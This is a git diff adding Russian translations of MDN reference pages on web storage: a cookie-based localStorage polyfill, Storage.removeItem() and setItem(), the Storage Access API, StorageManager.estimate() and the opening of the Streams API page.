+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions <code>localStorage.getItem()</code>, <code>localStorage.setItem()</code>, and <code>localStorage.removeItem()</code> to get, add, change, or remove a key. The use of method <code>localStorage.yourKey</code> in order to get, set, or delete a key <strong>is not permitted with this code</strong>. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.</div>
+
+<div class="note"><strong>Note:</strong> By changing the string <code style="background: rgb(204, 204, 204);">"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> to: <code style="background: rgb(204, 204, 204);">"; path=/"</code> (and changing the object's name), this will become a <code>sessionStorage</code> polyfill rather than a <code>localStorage</code> polyfill. However, this implementation will share stored values across browser tabs and windows (and will only be cleared when all browser windows have been closed), while a fully-compliant <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">sessionStorage</span><span style="line-height: 1.5em;"> implementation restricts stored values to the current browsing context only.</span></div>
+
+<h4 id="Compatibility_and_relation_with_globalStorage" style="line-height: 18px; font-size: 1.28571428571429rem;">Compatibility and relation with globalStorage</h4>
+
+<p class="note"><code>localStorage</code> is also the same as <code>globalStorage[location.hostname]</code>, with the exception of being scoped to an HTML5 origin (scheme + hostname + non-standard port) and <code>localStorage</code> being an instance of <code>Storage</code> as opposed to <code>globalStorage[location.hostname]</code> being an instance of <code>StorageObsolete</code> which is covered below. For example, <a class="external" href="http://example.com" rel="freelink">http://example.com</a> is not able to access the same <code>localStorage</code> object as <a class="link-https" href="https://example.com" rel="freelink">https://example.com</a> but they can access the same <code>globalStorage</code> item. <code>localStorage</code> is a standard interface while <code>globalStorage</code> is non-standard so you shouldn't rely on these.</p>
+
+<p>Please note that setting a property on <code>globalStorage[location.hostname]</code> does <strong>not</strong> set it on <code>localStorage</code> and extending <code>Storage.prototype</code> does not affect <code>globalStorage</code> items; only extending <code>StorageObsolete.prototype</code> does.</p>
+
+<h4 id="Storage_format">Storage format</h4>
+
+<p><code>Storage</code> keys and values are both stored in the UTF-16 <a href="/en-US/docs/Web/API/DOMString">DOMString</a> format, which uses 2 bytes per character.</p>
+
+<p> </p>
diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html
new file mode 100644
index 0000000000..d5b1a628e4
--- /dev/null
+++ b/files/ru/web/api/storage/removeitem/index.html
@@ -0,0 +1,70 @@
+---
+title: Storage.removeItem()
+slug: Web/API/Storage/removeItem
+tags:
+  - API
+  - Storage
+  - Справка
+translation_of: Web/API/Storage/removeItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Если методу <code>removeItem()</code> интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удален элемент с указанным ключем. </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>storage</em>.removeItem(<em>keyName</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em><u>названиеКлюча</u></em></dt>
+ <dd>{{domxref("DOMString")}} содержит в себе название ключа.</dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p><em>Метод не возвращает значений.</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция создает три элемента внутри локального хранилища и потом удаляет элемент с ключом <em>image</em>.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}</pre>
+
+<div class="note">
+<p><strong>Примечание: </strong> чтобы увидеть использование этой функции на реальном примере, загляните в <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Стандарты">Стандарты</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Стандарт</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-removeitem', 'removeItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Storage.removeItem")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/setitem/index.html b/files/ru/web/api/storage/setitem/index.html
new file mode 100644
index 0000000000..981eedf10f
--- /dev/null
+++ b/files/ru/web/api/storage/setitem/index.html
@@ -0,0 +1,130 @@
+---
+title: Storage.setItem()
+slug: Web/API/Storage/setItem
+tags:
+  - API
+  - Storage
+  - Web Storage
+  - localStorage
+  - Справка
+translation_of: Web/API/Storage/setItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Если методу <span style="font-family: consolas,monaco,andale mono,monospace;">setItem()</span> интерфейса {{domxref("Storage")}} передать ключ и значение, то в хранилище будет добавлено соответствующее ключу значение, либо, если запись уже есть в хранилище, то значение по ключу будет обновлено.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>storage</em>.setItem(<em>названиеКлюча</em>, <em>значениеКлюча</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>названиеКлюча</em></dt>
+ <dd>Является строкой {{domxref("DOMString")}} содержащей название ключа, значение которого будет добавлено/обновлено.</dd>
+ <dt><em>значениеКлюча</em></dt>
+ <dd>Является строкой {{domxref("DOMString")}} содержащей значение ключа, которое будет добавлено/обновлено.</dd>
+</dl>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p><em>Метод не возвращает значений.</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция создает три элемента с данными в хранилище.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации <a href="https://github.com/mdn/web-storage-demo">Web Storage</a>.</p>
+</div>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-setitem', 'setItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Использование Web Storage API</a></p>
diff --git a/files/ru/web/api/storage_access_api/index.html b/files/ru/web/api/storage_access_api/index.html
new file mode 100644
index 0000000000..f9c79c5704
--- /dev/null
+++ b/files/ru/web/api/storage_access_api/index.html
@@ -0,0 +1,93 @@
+---
+title: Storage Access API
+slug: Web/API/Storage_Access_API
+tags:
+  - API
+  - Reference
+  - Storage
+  - Storage Access API
+translation_of: Web/API/Storage_Access_API
+---
+<div>{{DefaultAPISidebar("Storage Access API")}}{{seecompattable}}</div>
+
+<p><span class="seoSummary">The Storage Access API provides a way for embedded, cross-origin content to gain unrestricted access to storage that it would normally only have access to in a first-party context (we refer to this as an origin’s <em>first-party</em> storage).</span> The API provides methods that allow embedded resources to check whether they currently have access to their first-party storage, and to request access to their first-party storage from the user agent.</p>
+
+<h2 id="Концепции_и_использование">Концепции и использование</h2>
+
+<p>Most browsers implement a number of storage access policies that restrict access to cookies and site data for embedded, cross-origin resources. These restrictions range from giving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context.</p>
+
+<p>The semantics around third-party cookie blocking policies in particular differ from browser to browser, but the core functionality is similar: cross-origin resources embedded in a third-party context are not given access to the same cookies and site storage that they would have access to when loaded in a first-party context.</p>
+
+<p>These cookie blocking policies are known to break embedded cross-origin content that requires access to its first-party storage. As an example, federated logins often require access to authentication cookies stored in first-party storage, and will require the user to sign in on each site separately (or completely break) if those cookies are not available. In the case of breakage, site owners have often encouraged users to add their site as an exception or to disable the policy entirely. As a consequence, users who wish to continue to interact with embedded content are forced to greatly relax their blocking policy for resources loaded from all embedded origins and possibly across all websites.</p>
+
+<p>The Storage Access API is intended to solve this problem; embedded cross-origin content can request unrestricted access to its first-party storage on a site-by-site basis via the {{domxref("Document.requestStorageAccess()")}} method, and check whether it already has access via the {{domxref("Document.hasStorageAccess()")}} method.</p>
+
+<p>In addition, sandboxed {{htmlelement("iframe")}}s cannot be granted storage access by default for security reasons. The API therefore also adds the <code>allow-storage-access-by-user-activation</code> <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox">sandbox token</a>. The embedding website needs to add this to allow storage access requests to be successful, along with <code>allow-scripts</code> and <code>allow-same-origin</code> to allow it to call the API, and execute in an origin that can have cookies:</p>
+
+<pre class="brush: html notranslate">&lt;iframe sandbox="allow-storage-access-by-user-activation
+                 allow-scripts
+                 allow-same-origin"&gt;
+  ...
+&lt;/iframe&gt;</pre>
+
+<p>The API is designed to limit the potential storage exceptions to origins for which the user has shown an intent to interact. This is enforced through the following constraints:</p>
+
+<ul>
+ <li>Access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click. This also prevents embedded content on the page from spamming the browser or user with excessive access requests.</li>
+ <li>Origins that have never been interacted with as a first party do not have a notion of first-party storage. From the user’s perspective, they only have a third-party relationship with that origin. Access requests are automatically denied if the browser detects that the user hasn’t interacted with the embedded content in a first-party context recently (in Firefox, "recently" is "within 30 days").</li>
+</ul>
+
+<p>The browser may decide to involve the user in the decision of whether to grant an incoming storage access request. Specifics regarding the lifetime of a storage grant and the circumstances under which the browser may decide to inform the user are currently being worked through and will be announced once ready.</p>
+
+<h2 id="Подсказки_для_пользователя">Подсказки для пользователя</h2>
+
+<p>When <code>requestStorageAccess()</code> is called by an embedded, cross-origin document, the user agent may choose to involve the user in the decision of whether to grant storage access to the requesting origin. Prompting heuristics currently vary across the two implementers of the Storage Access API — Safari shows prompts for all embedded tracking content that has not previously received storage access, while Firefox only prompts users after a tracking origin has requested storage access on more than a threshold number of sites. See {{domxref("Document.requestStorageAccess()")}} for more details.</p>
+
+<h2 id="Отичия_реализации_в_Safari">Отичия реализации в Safari</h2>
+
+<p>Although the API surface is the same, websites using the Storage Access API should expect differences in the level and extent of storage access they receive between Firefox and Safari. This is caused by differences in the storage access policies implemented in the two browsers. Design properties unique to Firefox are summarized here:</p>
+
+<ul>
+ <li>If the embedded origin <code>tracker.example</code> has already obtained first-party storage access on the top-level origin <code>foo.example</code>, and the user visits a page from <code>foo.example</code> embedding a page from <code>tracker.example</code> again in less than 30 days, the embedded origin will have storage access immediately when loading.</li>
+ <li>If a page from top-level origin <code>foo.example</code> embeds more than one {{htmlelement("iframe")}} from <code>tracker.example</code>, and one of those <code>&lt;iframe&gt;</code>s uses the Storage Access API in order to obtain storage access successfully, all other iframes from <code>tracker.example</code> on <code>foo.example</code> top-level origins will immediately gain storage access as well, without needing to call <code>requestStorageAccess()</code> separately.</li>
+ <li>If an embedded page from <code>tracker.example</code> has previously successfully obtained storage access on top-level origin <code>foo.example</code>, all embedded subresources from <code>tracker.example</code> on <code>foo.example</code> (e.g. scripts, images, stylesheets, etc.) will load with access to their first-party storage, which means they may send Cookie headers and honor incoming {{httpheader("Set-Cookie")}} headers.</li>
+ <li>In Firefox, when the promise returned from <code>requestStorageAccess()</code> is resolved, the embedded page will gain access to its entire first-party storage, not just cookies.  This includes access to APIs such as <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage</a>, <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/en-US/docs/Web/API/Cache">DOM Cache</a>, and so on.</li>
+ <li>In Firefox, the storage access grants are phased out after 30 calendar days passing, whereas in Safari the storage access grants are phased out after 30 days of browser usage passed without user interaction. This is currently a limitation of the Firefox implementation, which we may address in a future version.  In Safari, successful use of the storage access API resets this counter.</li>
+</ul>
+
+<p>Документация новой политики доступа к хранилищу Firefox по блокировки отслеживающих кук <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy#Storage_access_grants">детально описана</a> в разделе предоставления доступа к хранилищу.</p>
+
+<h2 id="Методы_Storage_Access_API">Методы Storage Access API</h2>
+
+<p>API методы реализованы в интерфейсе {{domxref("Document")}}:</p>
+
+<dl>
+ <dt>{{domxref("Document.hasStorageAccess()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves with a boolean value indicating whether the document has access to its first-party storage.</dd>
+ <dt>{{domxref("Document.requestStorageAccess()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves if the access to first-party storage was granted, and rejects if access was denied.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: User interaction propagates to the Promise returned by both of these methods, allowing the callers to take actions that require user interaction without requiring a second click from the user. For example, a caller could open a pop-up window from the resolved Promise without triggering Firefox’s pop-up blocker.</p>
+</div>
+
+<h2 id="Расширение_&lt;iframe>_sandbox">Расширение &lt;iframe&gt; sandbox</h2>
+
+<p>{{htmlelement("iframe")}} <code>sandbox</code> появился новый признак, <code>allow-storage-access-by-user-activation</code>, который позволяет изолированому <code>&lt;iframe&gt;</code> использовать Storage Access API для запроса доступа к хранилищу.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>API на стадии обсуждения — стандартизация не начата. Сейчас Вы можете ознакомиться с подробной спецификацией API в блоге Apple <a href="https://webkit.org/blog/8124/introducing-storage-access-api/">Introducing Storage Access API</a> и <a href="https://github.com/whatwg/html/issues/3338">WHATWG HTML issue 3338 — Proposal: Storage Access API</a>.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.hasStorageAccess")}}</p>
+
+<p>{{Compat("api.Document.requestStorageAccess")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Storage_Access_API/Using">Использоваие Storage Access API</a></p>
diff --git a/files/ru/web/api/storagemanager/estimate/index.html b/files/ru/web/api/storagemanager/estimate/index.html
new file mode 100644
index 0000000000..ff509f32fd
--- /dev/null
+++ b/files/ru/web/api/storagemanager/estimate/index.html
@@ -0,0 +1,78 @@
+---
+title: StorageManager.estimate()
+slug: Web/API/StorageManager/estimate
+tags:
+  - метод
+translation_of: Web/API/StorageManager/estimate
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}</p>
+
+<p>The <strong><code>estimate()</code></strong> method of the {{domxref("StorageManager")}} interface asks the Storage Manager to obtain quota and usage information for the current origin. This method operates asynchronously, so it returns a {{jsxref("Promise")}} which resolves once the information is available. The promise's fulfillment handler receives as an input a {{domxref("StorageEstimate")}} with the usage and quota data.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>estimatePromise</em> = <em>StorageManager</em>.estimate();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>None.</p>
+
+<h3 id="Возвращаемый_результат">Возвращаемый результат</h3>
+
+<p>A {{jsxref('Promise')}} that resolves to an object which conforms to the {{domxref('StorageEstimate')}} dictionary. This dictionary contains estimates of how much space is available to the origin or app (in {{domxref("StorageEstimate.quota")}}, as well as how much is currently used (in {{domxref("StorageEstimate.usage")}}). These are not exact numbers; between compression, deduplication, and obfuscation for security reasons, they will not be precise.</p>
+
+<p>You may find that the <code>quota</code> varies from app to app based on factors such as the frequency with which the user visits it, commonly-known site popularity data, and so forth.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>In this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.</p>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  You're currently using about &lt;span id="percent"&gt;
+  &lt;/span&gt;% of your available storage.
+&lt;/p&gt;
+</pre>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<pre class="brush: js">navigator.storage.estimate().then(function(estimate) {
+  document.getElementById("percent").innerHTML =
+      (estimate.usage / estimate.quota).toFixed(2);
+});
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', 600, 40) }}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#dom-storagemanager-estimate','estimate()')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.StorageManager.estimate")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Storage API</li>
+ <li>{{domxref("Storage")}}, the object returned by {{domxref("Window.localStorage")}}</li>
+ <li>{{domxref("StorageManager")}}</li>
+ <li>{{domxref("navigator.storage")}}</li>
+</ul>
diff --git a/files/ru/web/api/storagemanager/index.html b/files/ru/web/api/storagemanager/index.html
new file mode 100644
index 0000000000..c28ba798a3
--- /dev/null
+++ b/files/ru/web/api/storagemanager/index.html
@@ -0,0 +1,53 @@
+---
+title: StorageManager
+slug: Web/API/StorageManager
+tags:
+  - API
+  - Interface
+  - Persistence
+  - Quotas
+  - Reference
+  - Secure context
+  - Storage
+  - Storage API
+  - StorageManager
+  - Usage
+translation_of: Web/API/StorageManager
+---
+<p>{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}</p>
+
+<p><strong><code>StorageManager</code></strong> является частью <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> и предоставляет интерфейс для управления правами на хранение данных и для получения объема данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("StorageManager.estimate()")}} {{securecontext_inline}}</dt>
+ <dd>Возвращает объект {{domxref("StorageEstimate")}}, который содержит используемый и максимальный объем данных (квоту) для вашего сайта.</dd>
+ <dt>{{domxref("StorageManager.persist()")}} {{securecontext_inline}}</dt>
+ <dd>Возвращает {{jsxref('Promise')}}, который принимает значение <code>true</code> в случае, когда браузер имеет возможность хранить данные вашего сайта.</dd>
+ <dt>{{domxref("StorageManager.persisted()")}} {{securecontext_inline}}</dt>
+ <dd>Возвращает {{jsxref('Promise')}}, который принимает значение <code>true</code> в случае, когда сайт получил возможность хранить данные в браузере.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#storagemanager','StorageManager')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.StorageManager")}}</p>
diff --git a/files/ru/web/api/streams_api/index.html b/files/ru/web/api/streams_api/index.html
new file mode 100644
index 0000000000..94959b7eba
--- /dev/null
+++ b/files/ru/web/api/streams_api/index.html
@@ -0,0 +1,141 @@
+---
+title: Streams API
+slug: Web/API/Streams_API
+translation_of: Web/API/Streams_API
+---
+<div>{{SeeCompatTable}}{{APIRef("Streams")}}</div>
+
+<p class="summary">Streams API (АПИ обработки потоков) позволяет програмно получить доступ с помощью JavaScript к полученным по сети потокам данных и обработать их по желанию разработчика.</p>
+
+<h2 id="Концепция_и_использование">Концепция и использование</h2>
+
+<p>Потоковая передача данных предполагает разбивку ресура, который вы хотите получить через сеть, на мелкие кусочки и затем их обработку часть за частью. Это то, что браузеры делают в любом случае получения ассетов, чтобы показать их на страницах — видео буфер и другие ресурсы доступные для воспроизведения, и иногда это заметно на изображениях, загружающихся частями.</p>
+
+<p>Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведен к необходимому формату и только потом работать с файлом после его полной загрузки.</p>
+
+<p>С помощью потоков доступных в JavaScript меняется все — вы можете начать обрабатывать данные бит за битом как только данные появляются на стороне клиента, без необходимости генерировать буффер, строку или какой либо объект из потока.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15817/Concept.png" style="display: block; height: 382px; margin: 0px auto; width: 1000px;"></p>
+
+<p>Но это не все преимущества — вы можете отловить процессы старта и завершения потока, связывать потоки в цепочки, обрабатывать ошибки или прерывать их если это необходимо, реагировать на скорость с которой поток считывается.</p>
+
+<p>Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращенного успешным <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросом</a> может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помошью {{domxref("ReadableStream.cancel()")}}, и тп.</p>
+
+<p>Более сложные примеры задействуют создание ваших собственных  потоков с помощью конструктора {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, например чтобы обработать данные внутри <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>.</p>
+
+<p>Вы также можете записывать данные в потоки используя {{domxref("WritableStream")}}.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: вы можете найти больше информации о теории и практике использования потоков в следующих статьях — <a href="/en-US/docs/Web/API/Streams_API/Concepts">Концепты API потоков</a> , <a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Использование потоков на чтение</a>, и <a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Использование потоков на запись</a>.</p>
+</div>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<h3 id="Потоки_чтения_данных">Потоки чтения данных</h3>
+
+<dl>
+ <dt>{{domxref("ReadableStream")}}</dt>
+ <dd>Представляет собой считываемый поток данных. Он может быть использован чтобы обработать потоки ответов от <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, или созданный разработчиком поток (например произвольный {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}).</dd>
+ <dt>{{domxref("ReadableStreamDefaultReader")}}</dt>
+ <dd>Представляет собой считывателя, который может быть использован чтобы считать данные поставляемые из сети (например fetch запрос).</dd>
+ <dt>{{domxref("ReadableStreamDefaultController")}}</dt>
+ <dd>Представляет собой контроллер позволяющий контролировать состояние {{domxref("ReadableStream")}} и очереди внутри него. Является контроллером по умолчанию для не байтовых потоков.</dd>
+</dl>
+
+<h3 id="Writable_streams">Writable streams</h3>
+
+<dl>
+ <dt>{{domxref("WritableStream")}}</dt>
+ <dd>Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идет вместе со встроенными методами контроля обратного потока и созданием очередей.</dd>
+ <dt>{{domxref("WritableStreamDefaultWriter")}}</dt>
+ <dd>Представляет запись потока по умолчанию, которая может использоваться для записи фрагментов данных в записываемый поток.</dd>
+ <dt>{{domxref("WritableStreamDefaultController")}}</dt>
+ <dd>Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании <code>WritableStream</code>, создается также соответствующий экземпляр <code>WritableStreamDefaultController</code>.</dd>
+</dl>
+
+<h3 id="Дополнительные_API_и_операции_по_работе_с_потоками">Дополнительные API и операции по работе с потоками</h3>
+
+<dl>
+ <dt>{{domxref("ByteLengthQueuingStrategy")}}</dt>
+ <dd>Предоставляет встроенную стратегию длины байт-очереди, которая может быть использована при построении потоков.</dd>
+ <dt>{{domxref("CountQueuingStrategy")}}</dt>
+ <dd>Предоставляет встроенную стратегию организации очередей подсчета чанков, которая может использоваться при построении потоков.</dd>
+</dl>
+
+<h3 id="Дополнения_к_другим_API">Дополнения к другим API</h3>
+
+<dl>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>При создании нового объекта типа <code>Request</code>, вы можете добавить {{domxref("ReadableStream")}} в свойство <code>body</code> его словаря <code>RequestInit</code>.  Этот обект типа <code>Request</code> может быть отправлен в  {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, чтобы начать загрузку потока.</dd>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>Ответ {{domxref("Body")}} возвращенный успешному <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросу</a> вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикрепленного к нему и тп.</dd>
+</dl>
+
+<h3 id="Интерфейсы_в_дополнение_к_ByteStream">Интерфейсы в дополнение к ByteStream</h3>
+
+<div class="warning">
+<p><strong>Важно</strong>: данные интерфейсы пока не реализованы, и были подняты вопросы о том, находятся ли детали спецификации в достаточно законченном состоянии для их реализации. Со временем это может измениться</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ReadableStreamBYOBReader")}}</dt>
+ <dd>Represents a BYOB ("bring your own buffer") reader that can be used to read stream data supplied by the developer (e.g. a custom {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} constructor).</dd>
+ <dt>{{domxref("ReadableByteStreamController")}}</dt>
+ <dd>Контроллер позволяющий обрабатывать состояние {{domxref("ReadableStream")}} и внутреннюю очередь. Байтовые контроллеры для байтовых потоков.</dd>
+ <dt>{{domxref("ReadableStreamBYOBRequest")}}</dt>
+ <dd>Represents a pull into request in a {{domxref("ReadableByteStreamController")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Мы создали папку с примерами, которые идут вместе с документацией к API потоков — смотрите <a href="https://github.com/mdn/dom-examples/tree/master/streams">mdn/dom-examples/streams</a>. Можно найти такие примеры как:</p>
+
+<ul>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-pump/">Simple stream pump</a>: Этот пример показывает как использовать поток чтения данных и передавать его данные в другой поток.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/grayscale-png/">Сделать черно-белый PNG</a>: Пример показывает конвертацию потока данных PNG изображения в черно-белый формат.</li>
